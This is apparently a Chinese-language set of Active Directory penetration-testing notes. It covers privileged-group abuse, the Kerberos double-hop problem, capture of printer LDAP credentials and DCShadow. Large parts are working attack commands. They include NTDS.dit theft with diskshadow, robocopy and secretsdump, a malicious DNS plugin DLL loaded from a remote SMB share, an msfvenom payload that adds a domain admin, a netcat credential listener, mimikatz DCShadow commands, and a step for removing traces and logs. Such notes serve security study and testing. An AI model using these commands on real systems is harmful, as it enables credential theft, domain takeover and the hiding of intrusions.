http://technet.microsoft.com/en-us/library/dd392261(WS.10).aspx

恢复AD对象,可以用Powershell命令。

这里推荐一个免费的小工具,它提供了一个很简单易用的GUI

ADRecycleBin.exe

http://www.overall.ca/index.php?option=com_docman&task=doc_download&gid=68&Itemid=11

参考连接:

What's New in AD DS: Active Directory Recycle Bin

http://technet.microsoft.com/en-us/library/dd391916(WS.10).aspx

Active Directory Recycle Bin Step-by-Step Guide

http://technet.microsoft.com/en-us/library/dd392261(WS.10).aspx

Server Operators

Server Operators是域控的本地组,其组员拥有管理域控制器的权利,例如在域控制器上登录域;建立、管理、删除域控制器上的共享文件夹与共享打印机;备份与还原文件;锁定与解开域控制器;将域控制器上的硬盘格式化;更改系统的时间;将域控制器关闭等。

此成员资格允许用户使用以下权限配置域控制器:

  • 允许本地登录
  • 备份文件和目录
  • 更改系统时间
  • 更改时区
  • 从远程系统强制关闭
  • 恢复文件和目录
  • 关闭系统
  • SeBackupPrivilege 和 SeRestorePrivilege

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens#serestoreprivilege-3.1.5

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens#sebackupprivilege-3.1.4

  • 控制本地服务

当用户没有加入Server Operators组时,无法访问域控的资源。

将该用户加入Server Operators组,发现权限提升。

Get-NetGroupMember -Identity "Server Operators" -Recurse

Privesc

使用来自Sysinternals的PsService(PsTools)或sc工具来检查服务的权限。

https://learn.microsoft.com/en-us/sysinternals/downloads/psservice

C:> .PsService.exe security AppReadiness PsService v2.25 - Service information and configuration utility Copyright (C) 2001-2010 Mark Russinovich Sysinternals - www.sysinternals.com [...] [ALLOW] BUILTINServer Operators All

这确认了Server Operators组具有SERVICE_ALL_ACCESS访问权限,这使我们能够完全控制此服务。

您可以滥用此服务,使该服务执行任意命令并提升权限。

Backup Operators

与Server Operators成员身份一样,如果我们属于Backup Operators,则可以访问域控的文件系统。

Backup Operators组授予其成员SeBackupSeRestore特权。 SeBackupPrivilege使我们能够遍历任何文件夹并列出文件夹内容。这将让我们从文件夹中复制文件,即使没有其他权限也可以执行。

然而,为了滥用此权限来复制文件,则必须使用标志FILE_FLAG_BACKUP_SEMANTICS ****。因此需要使用特殊工具。

https://github.com/giuliano108/SeBackupPrivilege

# Import libraries Import-Module .SeBackupPrivilegeUtils.dll Import-Module .SeBackupPrivilegeCmdLets.dll Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup SeBackupPrivilege is disabled # Enable SeBackupPrivilege Set-SeBackupPrivilege Get-SeBackupPrivilege # List Admin folder for example and steal a file dir C:UsersAdministrator Copy-FileSeBackupPrivilege C:UsersAdministrator\report.pdf c:tempx.pdf -Overwrite 当然,也可以滥用这个访问权限来窃取活动目录数据库NTDS.dit,以获取域中所有用户和计算机对象的所有NTLM散列值。

使用diskshadow工具,您可以在C盘(或其他位置)创建一个卷影副本,例如在F盘上。然后,您可以从该卷影副本中窃取NTDS.dit文件,因为系统不会使用它。

https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow

diskshadow.exe Microsoft DiskShadow version 1.0 Copyright (C) 2013 Microsoft Corporation On computer: DC, 10/14/2020 10:34:16 AM DISKSHADOW> set verbose on DISKSHADOW> set metadata C:WindowsTempmeta.cab DISKSHADOW> set context clientaccessible DISKSHADOW> set context persistent DISKSHADOW> begin backup DISKSHADOW> add volume C: alias cdrive DISKSHADOW> create DISKSHADOW> expose �rive% F: DISKSHADOW> end backup DISKSHADOW> exit

再使用上面的方法,获取访问文件的权限后,提取ntds.dit。

Copy-FileSeBackupPrivilege E:WindowsNTDSntds.dit C:Toolsntds.dit

或者使用另一种方式复制文件,当然前提是SeBackupPrivilege功能为开启状态。

robocopy /B F:WindowsNTDS .ntds ntds.dit reg save HKLMSYSTEM SYSTEM.SAV reg save HKLMSAM SAM.SAV secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

DnsAdmins

属于DNSAdmins组或具有对DNS服务器对象的写权限的用户可以使用SYSTEM特权在DNS服务器上加载任意DLL。大部分情况下DNS服务器也是建立在域控机器上。

根据这篇文章所示,当DNS运行在域控制器上时(这是非常常见的情况),可以执行以下攻击:

  1. DNS管理是通过RPC进行的。
  2. ServerLevelPluginDll允许我们加载一个自定义的DLL,并且不验证DLL路径。可以使用命令行工具dnscmd来完成此操作。
  3. 当DnsAdmins组的成员运行下面的dnscmd命令时,注册表键将被填充。

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesDNSParametersServerLevelPluginDll

  1. 当DNS服务重新启动时,将加载该路径中的DLL(例如,域控制器的机器帐户可以访问的网络共享)。
  2. 攻击者可以加载一个自定义的DLL以获取反向shell,甚至加载像Mimikatz这样的工具作为DLL来转储凭据。

如前所述,我们需要构建一个 DNS 插件 DLL,将其注入到受害者 DNS 服务器 (DC) 上的 dns.exe 进程中。

如果您在 DNSAdmins 组中有一个用户,则可以使 DNS 服务器使用 SYSTEM 特权加载任意 DLL(DNS 服务以 NT AUTHORITYSYSTEM 运行)。您可以通过执行以下命令使 DNS 服务器加载本地或远程(通过 SMB 共享的)DLL 文件。

dnscmd是一个 Windows 实用程序,允许有DnsAdmins权限的人管理 DNS 服务器。可以通过添加DNS Server Tools到您的系统来安装该实用程序,如下面的屏幕截图所示。

//dnscmd [dc.computername] /config /serverlevelplugindll c:pathtoDNSAdmin-DLL.dll //dnscmd [dc.computername] /config /serverlevelplugindll 1.2.3.4shareDNSAdmin-DLL.dll

//注意,远程加载DLL不能使用符号进行加载,例如\10.10.10.10c1.dll,这样是无法成功加载的。

示例DLL:https://github.com/kazkansouh/DNSAdmin-DLL

修改恶意代码为如下。

加载DLL。

dnscmd ad-1-2016 /config /serverlevelplugindll \10.10.10.106c$Usersman12DesktopDNSAdmin-DLL.dll

在默认情况下在 DNSAdmin 组中具有用户,也无法停止和重新启动 DNS 服务。但您可以尝试执行如下命令。

sc.exe \ad-1-2016 stop dns sc.exe \ad-1-2016 start dns

提权成功后可以清除DNSAdminis后门。

reg query \10.0.0.6HKLMSYSTEMCurrentControlSetServicesDNSParameters reg delete \10.0.0.6HKLMSYSTEMCurrentControlSetServicesDNSParameters /v ServerLevelPluginDll sc.exe \10.0.0.6 stop dns sc.exe \10.0.0.6 start dns //remove any other traces/logs

当然,也可以使用 msfvenom 生成 dll,弹shell到目标机器,或者执行命令。

msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

mimilib.dll

正如下面这篇文章中详细描述的那样,还可以使用 Mimikatz 工具的创建者提供的 mimilib.dll 来修改 kdns.c 文件,以执行逆向 shell 或其他我们选择的命令来获取命令执行权限。

http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html

中间人攻击的 WPAD 记录

滥用 DnsAdmins 组权限的另一种方式是创建一个 WPAD 记录。

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks

https://learn.microsoft.com/en-us/powershell/module/dnsserver/set-dnsserverglobalqueryblocklist?view=windowsserver2019-ps

在该组中的成员具有禁用全局查询阻止安全性的权限,而默认情况下会阻止此类攻击。Server 2008 首次引入了在 DNS 服务器上添加到全局查询阻止列表的功能。默认情况下,Web 代理自动发现协议(WPAD)和站内自动隧道寻址协议(ISATAP)在全局查询阻止列表中。这些协议非常容易被劫持,任何域用户都可以创建包含这些名称的计算机对象或 DNS 记录。

在禁用全局查询阻止列表并创建 WPAD 记录之后,使用默认设置运行 WPAD 的每台计算机的流量都将通过我们的攻击机器进行代理。我们可以使用工具如 Responder 或 Inveigh 进行流量欺骗,并尝试捕获密码哈希并在离线状态下破解,或者进行 SMBRelay 攻击。

https://github.com/lgandx/Responder

https://github.com/Kevin-Robertson/Inveigh

Event Log Readers

Event Log Readers组的成员具有访问生成的事件日志(例如新进程创建日志)的权限。在这些日志中可能包含敏感信息。让我们来看看如何可视化这些日志。

Get members of the group Get-NetGroupMember -Identity "Event Log Readers" -Recurse Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Event Log Readers" # To find "net [...] /user:blahblah password" wevtutil qe Security /rd:true /f:text | Select-String "/user" # Using other users creds wevtutil qe Security /rd:true /f:text /r:share01 /u:<username> /p:<pwd> | findstr "/user" # Search using PowerShell Get-WinEvent -LogName security [-Credential creds] | where { _.ID -eq 4688 -and _.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ _.Properties[8].Value }} Exchange Windows Permissions

Exchange Windows Permissions是指Exchange在Windows环境中的权限。成员被授予编写DACL(Discretionary Access Control List)到域对象的权限。攻击者可以滥用这一权限,赋予用户DCSync特权。

如果在AD环境中安装了Microsoft Exchange,通常会发现用户帐户甚至计算机作为该组的成员。

这个GitHub存储库解释了滥用这个组权限来提升权限的一些技术。

https://github.com/gdedrouas/Exchange-AD-Privesc

Get members of the group

Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Hyper-V Administrators

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-lab-with-hyper-v-and-powershell

Hyper-V管理员组对所有Hyper-V功能具有完全访问权限。如果域控制器已经虚拟化,那么虚拟化管理员应被视为域管理员。他们可以轻松创建一个实时域控制器的克隆,并以离线方式挂载虚拟磁盘以获取NTDS.dit文件,并提取域中所有用户的NTLM密码哈希。

https://decoder.cloud/2020/01/20/from-hyper-v-admin-to-system/

在这个博客上也有详细文档说明,当删除一个虚拟机时,vmms.exe会尝试以NT AUTHORITYSYSTEM身份恢复相应的.vhdx文件的原始文件权限,而无需模拟用户。我们可以删除.vhdx文件,并创建一个本地的硬链接,将此文件指向一个受保护的SYSTEM文件,从而获得完全权限。

如果操作系统存在CVE-2018-0952或CVE-2019-0841漏洞,我们可以利用其来获取SYSTEM特权。否则,我们可以尝试利用服务器上安装了以SYSTEM上下文运行的服务的应用程序,这些服务可被非特权用户启动。

利用示例 一个例子是Firefox,它安装了Mozilla Maintenance Service。我们可以更新这个漏洞(一个用于NT硬链接的概念证明),以授予当前用户对以下文件的完全权限:

C:Program Files (x86)Mozilla Maintenance Servicemaintenanceservice.exe

获取文件所有权

运行PowerShell脚本后,我们应该对此文件拥有完全控制权,并可以获取其所有权。

C:htb> takeown /F C:Program Files (x86)Mozilla Maintenance Servicemaintenanceservice.exe

启动Mozilla

Maintenance Service 接下来,我们可以使用一个恶意的maintenanceservice.exe替换这个文件,启动维护服务,并以SYSTEM身份执行命令。

C:htb> sc.exe start MozillaMaintenance

注意:这个漏洞已通过2020年3月的Windows安全更新进行了缓解,该更新改变了与硬链接相关的行为。

Organization Management

该组也存在安装了Microsoft Exchange的环境中。

该组的成员可以访问所有域用户的邮箱。

该组还对名为Microsoft Exchange Security Groups的OU具有完全控制权限,其中包含了组Exchange Windows Permissions。

Print Operators

该组的成员被授予以下权限:

  • SeLoadDriverPrivilege
  • 在本地登录到域控制器并关闭它
  • 管理、创建、共享和删除连接到域控制器的打印机的权限

如果从非提升的上下文中运行 whoami /priv 命令未显示 SeLoadDriverPrivilege,则需要绕过UAC。

获取该组的成员。

Get-NetGroupMember -Identity "Print Operators" -Recurse

请在此页面中查看如何滥用 SeLoadDriverPrivilege 进行权限提升:

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/abuse-seloaddriverprivilege

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege

Remote Desktop Users

此组的成员可以通过RDP访问PC。

获取组成员。

Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

https://book.hacktricks.xyz/network-services-pentesting/pentesting-rdp

Remote Management Users

此组的成员可以通过WinRM访问PC。

Get-NetGroupMember -Identity "Remote Management Users" -Recurse Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

https://book.hacktricks.xyz/network-services-pentesting/5985-5986-pentesting-winrm

Kerberos双跳问题

Kerberos双跳是用来描述我们在两个或多个连接上维护客户端Kerberos身份验证凭据的方法。通过这种方式,我们可以保留用户的凭据,并代表用户在与其他服务器进行进一步连接时进行操作。

Kerberos TGT是用户的身份标识。当我们将该票证与服务票证一起传递时,我们可以重新使用KrbTGT请求其他服务票证,以便在我们的网络上与我们的服务资源进行通信。

执行Kerberos双跳需要满足一些要求。服务账户需要被信任以进行委派,也就是说它必须被信任代表其他用户执行操作。源服务器和目标服务器必须在同一个域中,或者在不同域之间存在森林级别的信任关系,并且第一级服务账户必须位于受信任的域根目录中。

Kerberos双跳流程:

第一步 - 客户端提供凭据,域控制器向客户端返回一个Kerberos TGT(票证授予票)。

第二步 - 客户端使用TGT请求一个服务票证,以连接到服务器1。

第三步 - 客户端连接到服务器1,并提供TGT和服务票证。

第四步 - 服务器1使用客户端的TGT请求一个服务票证,以便服务器1可以连接到服务器2。

第五步 - 服务器1使用客户端的凭据连接到服务器2。

也就是说,当我们使用凭据,例如使用powershell进行远程连接机器A,然后在机器A上直接使用之前验证的凭据访问服务B。

具体实例:

客户端运行IE7,并连接到一个使用Windows身份验证的Web服务器。客户端机器需要是域或受信任域的成员,并且需要启用集成的Windows身份验证。

Web服务器机器名为WEB1.mydomain.com,并且使用一个服务账户mydomainwebadmin。webadmin账户已经为HTTP/WEB1和HTTP/WEB1.mydomain.com注册了SPN(服务主体名称)。webadmin账户已经启用了对MSSQLSVC/SQL1.mydomain.com的受限委派。

SQL服务器的机器名为SQL1.mydomain.com,其SQL服务的服务账户为mydomainsqladmin。sqladmin账户已经为MSSQLSVC/SQL1.mydomain.com注册了SPN。

在上述示例配置中,客户端正在连接http://web1,以便访问存储在后端SQL服务器SQL1上的数据。Web页面托管了从SQL检索数据的代码。用户账户用于对Web服务器进行身份验证。Web服务器利用其受限委派功能,代表用户请求Kerberos票证,以连接到SQL1。如果我们审计这些连接,我们将看到用户账户被用于访问Web页面和SQL服务器上的数据。这是一个典型的Kerberos双跳的示例,但我们可以很容易地扩展该场景以包含更多的跳转。理论上,只要我们启用了委派并保留了正确的服务主体名称注册,我们可以不断扩展这个示例。

双跳问题

使用2016-WSUS机器使用管理员账户远程连接WEB-2012机器,再使用之前认证的凭据连接AD-2016。

//交互式

Enter-PSSession -ComputerName web-2012.vvvv1.com -Credential VVVV1administrator //非交互 Invoke-Command-ComputerName <计算机名或IP地址> -Credential <凭据> -ScriptBlock { # 在此处输入您要在远程主机上执行的命令 }

直接使用该凭据连接AD-2016,发现拒绝访问。

因为当通过Kerberos进行身份验证时,凭据不会缓存在内存中。因此,当 web-2012 中的 User1 尝试登录第二台服务器时,他无法进行身份验证。

解决办法
非约束委派

如果机器中启用了无约束委派,则不会发生这种情况,因为服务器将获取每个访问它的用户的TGT。

CredSSP

根据微软的说法: “CredSSP身份验证将用户凭据从本地计算机委派到远程计算机。这种做法增加了远程操作的安全风险。如果远程计算机受到入侵,当凭据传递给它时,这些凭据可以用于控制网络会话。” 如果您发现在生产系统、敏感网络等地方启用了CredSSP,建议将其禁用。可以通过运行Get-WSManCredSSP来快速检查CredSSP的状态。如果启用了WinRM,还可以远程执行此命令。

查看CredSSP的状态。

Invoke-Command -ComputerName web-2012.vvvv1.com -Credential VVVV1administrator -ScriptBlock { Get-WSManCredSSP }

利用命令:

https://learn.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7.3

开启CredSSP。

Enable-WSManCredSSP -Role "Client" -DelegateComputer "web-2012.vvvv1.com" Enable-WSManCredSSP -Role "Server"

添加参数-Authentication Credssp,使用Credssp进行认证。

https://blog.idera.com/database-tools/solving-double-hop-remoting-with-credssp

Invoke-Command -ComputerName web-2012.vvvv1.com -Authentication Credssp -Credential VVVV1administrator -ScriptBlock {dir \ad-2016.vvvv1.comc$ }

禁用WSMan CredSSP。

Disable-WSManCredSSP -Role Client Disable-WSManCredSSP -Role Server

调用命令

其实这就是一个嵌套的Invoke-Command。

这将在第二台服务器上运行:hostname。

$cred=Get-Credential VVVV1administrator Invoke-Command -ComputerName web-2012.vvvv1.com -Credential $cred -ScriptBlock{ Invoke-Command -ComputerName ad-2016.vvvv1.com -Credential $Using:cred -ScriptBlock{hostname} }

或者与第一个服务器建立PS-Session ,然后简单地从那里运行而不是嵌套它。相当于连接到第一个服务器后再保存一个可用的凭据。

# From the WinRM connection $pwd = ConvertTo-SecureString 'admin!@#45ad' -AsPlainText -Force cred = New-Object System.Management.Automation.PSCredential('VVVV1administrator', pwd) # Use "-Credential $cred" option in Powerview commands

注册会话配置

Enter-PSSession -ComputerName web-2012.vvvv1.com -Credential VVVV1administrator # Register a new PS Session configuration //在server1上运行 Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential VVVV1administrator

# Restar WinRM

Restart-Service WinRM

# Get a PSSession

Enter-PSSession -ConfigurationName doublehopsess -ComputerName web-2012.vvvv1.com -Credential VVVV1administrator

# Check that in this case the TGT was sent and is in memory of the PSSession

//凭据被绑定到内存中。

klist

# In this session you won't have the double hop problem anymore

端口代理

https://posts.slayerlabs.com/double-hop/

因为我们在中间目标机器 bizintel: 10.35.8.17 上有本地管理员权限,所以可以添加一个端口转发规则,将您的请求发送到最终/第三台服务器 secdev: 10.35.8.23。

您可以使用 netsh 快速提取一个单行命令并添加规则。

netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23

这样 bizintel 将监听端口 5446,并将收到的请求转发到 secdev 的端口 5985(也称为 WinRM)。

然后打开 Windows 防火墙的端口,也可以使用快速 netsh 命令完成。

netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446

现在建立会话,这将将我们转发到 secdev。

当使用 winrs.exe 时,端口转发 WinRM 请求似乎也是有效的。如果您意识到 PowerShell 正在被监控,这可能是一个更好的选择。下面的命令将返回 "secdev" 作为主机名的结果。

winrs -r:http://bizintel:5446 -u:taredsuit -p:2600leet hostname

与 Invoke-Command 类似,这可以很容易地编写脚本,以便攻击者可以将系统命令作为参数发出。一个通用的批处理脚本示例 winrm.bat:

OpenSSH

这种方法需要在中间服务器(即 bizintel)上安装 OpenSSH。在 Windows 上安装 OpenSSH 可以完全通过命令行界面进行,并且不需要太多时间 - 而且它不会被标记为恶意软件!

https://github.com/PowerShell/Win32-OpenSSH/wiki/Install-Win32-OpenSSH

当然,在某些情况下,这可能不可行、过于繁琐或可能存在一般的操作安全风险。

在跳板机设置上,这种方法可能特别有用 - 可以访问否则无法访问的网络。建立 SSH 连接后,用户/攻击者可以根据需要启动尽可能多的 New-PSSession 来针对分段网络进行操作,而不会遭遇双跳问题。

当在 OpenSSH 中配置为使用密码身份验证时(而不是密钥或票证),登录类型为 8,即网络明文登录。这并不意味着您的密码以明文形式发送 - 实际上,它是通过 SSH 加密的。到达目的地后,通过其身份验证机制将其解密为明文,供您的会话进一步请求有价值的票证(TGT)!

这使得中间服务器能够代表您请求和获取 TGT,并在中间服务器上本地存储。然后,您的会话可以使用此 TGT 对其他服务器进行身份验证(PS 远程)。

https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera?redirectedfrom=MSDN

OpenSSH 安装场景: 从 GitHub 上下载最新的 OpenSSH 发布压缩包,并将其移到攻击者的机器上(或直接下载到跳板机)。

https://github.com/PowerShell/Win32-OpenSSH/releases

将压缩包解压到您想要的位置。然后,运行安装脚本 - Install-sshd.ps1。

最后,只需添加一个防火墙规则来打开端口22。验证 SSH 服务是否已安装并启动它们。这两个服务都需要运行才能使 SSH 正常工作。

如果收到Connection reset错误,请更新权限以允许所有人:在 OpenSSH 根目录上读取和执行。

icacls.exe "C:UsersredsuitDocumentssshOpenSSH-Win64" /grant Everyone:RX /T

打印机中的AD信息

互联网上有几篇博客强调了将打印机配置为具有默认/弱登录凭据的 LDAP 的危险性。

这是因为攻击者可以欺骗打印机对一个恶意的 LDAP 服务器进行身份验证(通常 nc -vv -l -p 444 足够),从而在明文中获取打印机凭据。此外,一些打印机可能会包含记录用户名的日志,甚至可以从域控制器上下载所有用户名。所有这些敏感信息以及常见的安全缺失使得打印机对攻击者非常有吸引力。

https://www.ceos3c.com/security/obtaining-domain-credentials-printer-netcat/

https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856

https://grimhacker.com/2018/03/09/just-a-printer/

打印机管理界面

与许多系统类似,Konica Minolta 打印机在端口 80/443 上提供了一个 Web 管理界面。要访问管理设置,需要密码,但不幸的是,对于许多组织而言,它有一个默认密码,可以通过快速的谷歌搜索找到。根据型号的不同,有几种变化,但通常我发现密码是 '1234567812345678' 或 '12345678'。

有各种选项可用,但最近引起我注意的是 LDAP 连接设置。

关于 LDAP 和 AD 的简要说明 "轻型目录访问协议(LDAP)是在 TCP/IP 协议栈之上运行的目录服务协议,它提供了一种用于连接、搜索和修改 Internet 目录的机制。"

https://msdn.microsoft.com/en-us/library/aa367008(v=vs.85).aspx

在 Windows 域环境中,您可以使用 LDAP 与 Active Directory 进行交互。

AD 将允许披露少量信息的 "null bind"(即没有用户名或密码),但不像以前那样会泄露很多信息。为了获取用户列表,必须使用有效的用户名和密码绑定到服务器。

LDAP 设置 在 Konica Minolta 打印机上,可以配置一个 LDAP 服务器进行连接,并提供凭据。在这些设备的早期固件版本中,我听说可以通过阅读页面的 HTML 源代码来恢复凭据。然而,现在凭据不会在界面中返回,所以我们需要更努力一点。

LDAP 服务器列表位于:网络 > LDAP 设置 > 设置 LDAP

界面允许在不重新输入将用于连接的凭据的情况下修改 LDAP 服务器。我猜这是为了更简单的用户体验,但这给了攻击者从打印机的控制权限升级为域的起点的机会。

我们可以将 LDAP 服务器地址设置为我们控制的机器,并使用有用的 "测试连接" 功能触发连接。

监听

正常情况下可以直接使用netcat进行监听获取凭据。

sudo nc -k -v -l -p 386

我发现打印机首先尝试进行一个空绑定(null bind),然后查询可用的信息,只有在这些操作成功后才会使用凭据进行绑定。

我搜索了一下满足要求的简单 LDAP 服务器,但选择似乎有限。最后,我选择设置了一个开放的 LDAP 服务器,并使用 slapd 调试服务器服务来接受连接并打印出打印机的消息。(如果您知道更简单的替代方案,我很乐意听听。)

安装

https://www.server-world.info/en/note?os=Fedora_26&p=openldap

从根终端:

安装 OpenLDAP。

> dnf install -y install openldap-servers openldap-clients > cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG > chown ldap. /var/lib/ldap/DB_CONFIG 设置 OpenLDAP 管理员密码(您很快将再次需要此密码)。 > slappasswd New password: Re-enter new password: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx > vim chrootpw.ldif # specify the password generated above for "olcRootPW" section dn: olcDatabase={0}config,cn=config changetype: modify add: olcRootPW olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx > ldapadd -Y EXTERNAL -H ldapi:/// -f chrootpw.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0 uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "olcDatabase={0}config,cn=config"

导入基本架构。

> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0 uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 adding new entry "cn=cosine,cn=schema,cn=config" > ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0 uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 adding new entry "cn=nis,cn=schema,cn=config" > ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0 uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 adding new entry "cn=inetorgperson,cn=schema,cn=config" 在 LDAP DB 上设置您的域名。 # generate directory manager's password > slappasswd New password: Re-enter new password: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx > vim chdomain.ldif # specify the password generated above for "olcRootPW" section dn: olcDatabase={1}monitor,cn=config changetype: modify replace: olcAccess olcAccess: {0}to * by dn.base="gidNumber=0 uidNumber=0,cn=peercred,cn=external,cn=auth" read by dn.base="cn=Manager,dc=foo,dc=bar" read by * none dn: olcDatabase={2}mdb,cn=config changetype: modify replace: olcSuffix olcSuffix: dc=foo,dc=bar dn: olcDatabase={2}mdb,cn=config changetype: modify replace: olcRootDN olcRootDN: cn=Manager,dc=foo,dc=bar dn: olcDatabase={2}mdb,cn=config changetype: modify add: olcRootPW olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx dn: olcDatabase={2}mdb,cn=config changetype: modify add: olcAccess olcAccess: {0}to attrs=userPassword,shadowLastChange by dn="cn=Manager,dc=foo,dc=bar" write by anonymous auth by self write by * none olcAccess: {1}to dn.base="" by * read olcAccess: {2}to * by dn="cn=Manager,dc=foo,dc=bar" write by * read > ldapmodify -Y EXTERNAL -H ldapi:/// -f chdomain.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0 uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "olcDatabase={1}monitor,cn=config" modifying entry "olcDatabase={2}mdb,cn=config" modifying entry "olcDatabase={2}mdb,cn=config" modifying entry "olcDatabase={2}mdb,cn=config" modifying entry "olcDatabase={2}mdb,cn=config" > vim basedomain.ldif dn: dc=foo,dc=bar objectClass: top objectClass: dcObject objectclass: organization o: Foo Bar dc: DC1 dn: cn=Manager,dc=foo,dc=bar objectClass: organizationalRole cn: Manager description: Directory Manager dn: ou=People,dc=foo,dc=bar objectClass: organizationalUnit ou: People dn: ou=Group,dc=foo,dc=bar objectClass: organizationalUnit ou: Group > ldapadd -x -D cn=Manager,dc=foo,dc=bar -W -f basedomain.ldif Enter LDAP Password: # directory manager's password adding new entry "dc=foo,dc=bar" adding new entry "cn=Manager,dc=foo,dc=bar" adding new entry "ou=People,dc=foo,dc=bar" adding new entry "ou=Group,dc=foo,dc=bar"

配置 LDAP TLS

创建和SSL证书

> cd /etc/pki/tls/certs > make server.key umask 77 ; /usr/bin/openssl genrsa -aes128 2048 > server.key Generating RSA private key, 2048 bit long modulus ... ... e is 65537 (0x10001) Enter pass phrase: # set passphrase Verifying - Enter pass phrase: # confirm # remove passphrase from private key > openssl rsa -in server.key -out server.key Enter pass phrase for server.key: # input passphrase writing RSA key > make server.csr umask 77 ; /usr/bin/openssl req -utf8 -new -key server.key -out server.csr You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [XX]: # country State or Province Name (full name) []: # state Locality Name (eg, city) [Default City]: # city Organization Name (eg, company) [Default Company Ltd]: # company Organizational Unit Name (eg, section) []:Foo Bar # department Common Name (eg, your name or your server's hostname) []:www.foo.bar # server's FQDN Email Address []:xxx@foo.bar # admin email Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: # Enter An optional company name []: # Enter > openssl x509 -in server.csr -out server.crt -req -signkey server.key -days 3650 Signature ok subject=/C=/ST=/L=/O=/OU=Foo Bar/CN=dlp.foo.bar/emailAddress=xxx@roo.bar Getting Private key 为 SSL/TLS 配置 Slapd > cp /etc/pki/tls/certs/server.key /etc/pki/tls/certs/server.crt /etc/pki/tls/certs/ca-bundle.crt /etc/openldap/certs/ > chown ldap. /etc/openldap/certs/server.key /etc/openldap/certs/server.crt /etc/openldap/certs/ca-bundle.crt > vim mod_ssl.ldif # create new dn: cn=config changetype: modify add: olcTLSCACertificateFile olcTLSCACertificateFile: /etc/openldap/certs/ca-bundle.crt

replace: olcTLSCertificateFile olcTLSCertificateFile: /etc/openldap/certs/server.crt replace: olcTLSCertificateKeyFile olcTLSCertificateKeyFile: /etc/openldap/certs/server.key > ldapmodify -Y EXTERNAL -H ldapi:/// -f mod_ssl.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0 uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "cn=config"

允许 LDAP 通过本地防火墙

firewall-cmd --add-service={ldap,ldaps}

安装并配置 LDAP 服务后,您可以使用以下命令运行它

slapd -d 2

下面的屏幕截图显示了我们在打印机上运行连接测试时的输出示例。正如您所看到的,用户名和密码从 LDAP 客户端传递到服务器。

DCShadow

DCShadow通过创建恶意的域控制器,利用域控之间的数据同步复制,将预先设定的对象或对象属性注入正在运行的合法域控制器,以此来创建域后门或者获取各种类型的非法访问渠道。

下面通过DCShadow修改普通域用户man03的primaryGroupID属性演示DCShadow的攻击过程。

primaryGroupID属性指向用户所属的主要组的RID,通过将用户的primaryGroupID改为512,可以让用户成为域管理员。RID指相对标识符,是SID的组成部分,位于SID字符串的末端。Windows系统使用RID来区分用户账户和组,常见系统账户的RID如下图。

利用DCShadow
  1. 在域内任意一台主机中上传Mimikatz。打开一个命令行窗口,执行以下命令启动数据更改。该命令行窗口需要为SYSTEM权限,以拥有适当的权限来创建恶意域控制器。

//获取system权限

! !processtoken token::whoami

请注意,elevate :: token 在 mimikatz1 会话中不起作用,因为它仅提升了线程的权限,但我们需要提升进程的权限。

//创建恶意域控制器,且修改用户组中man03为域管理员

lsadump::dcshadow /object:CN=man03,CN=Users,DC=vvvv1,DC=com /attribute:primaryGroupID /value:512

  1. 执行后,第一个命令行窗口不要关闭,并新开一个域管理员权限的命令行窗口。在新的命令行窗口中执行以下命令强制触发域复制,将数据更改推送至合法的域控服务器。

lsadump::dcshadow /push

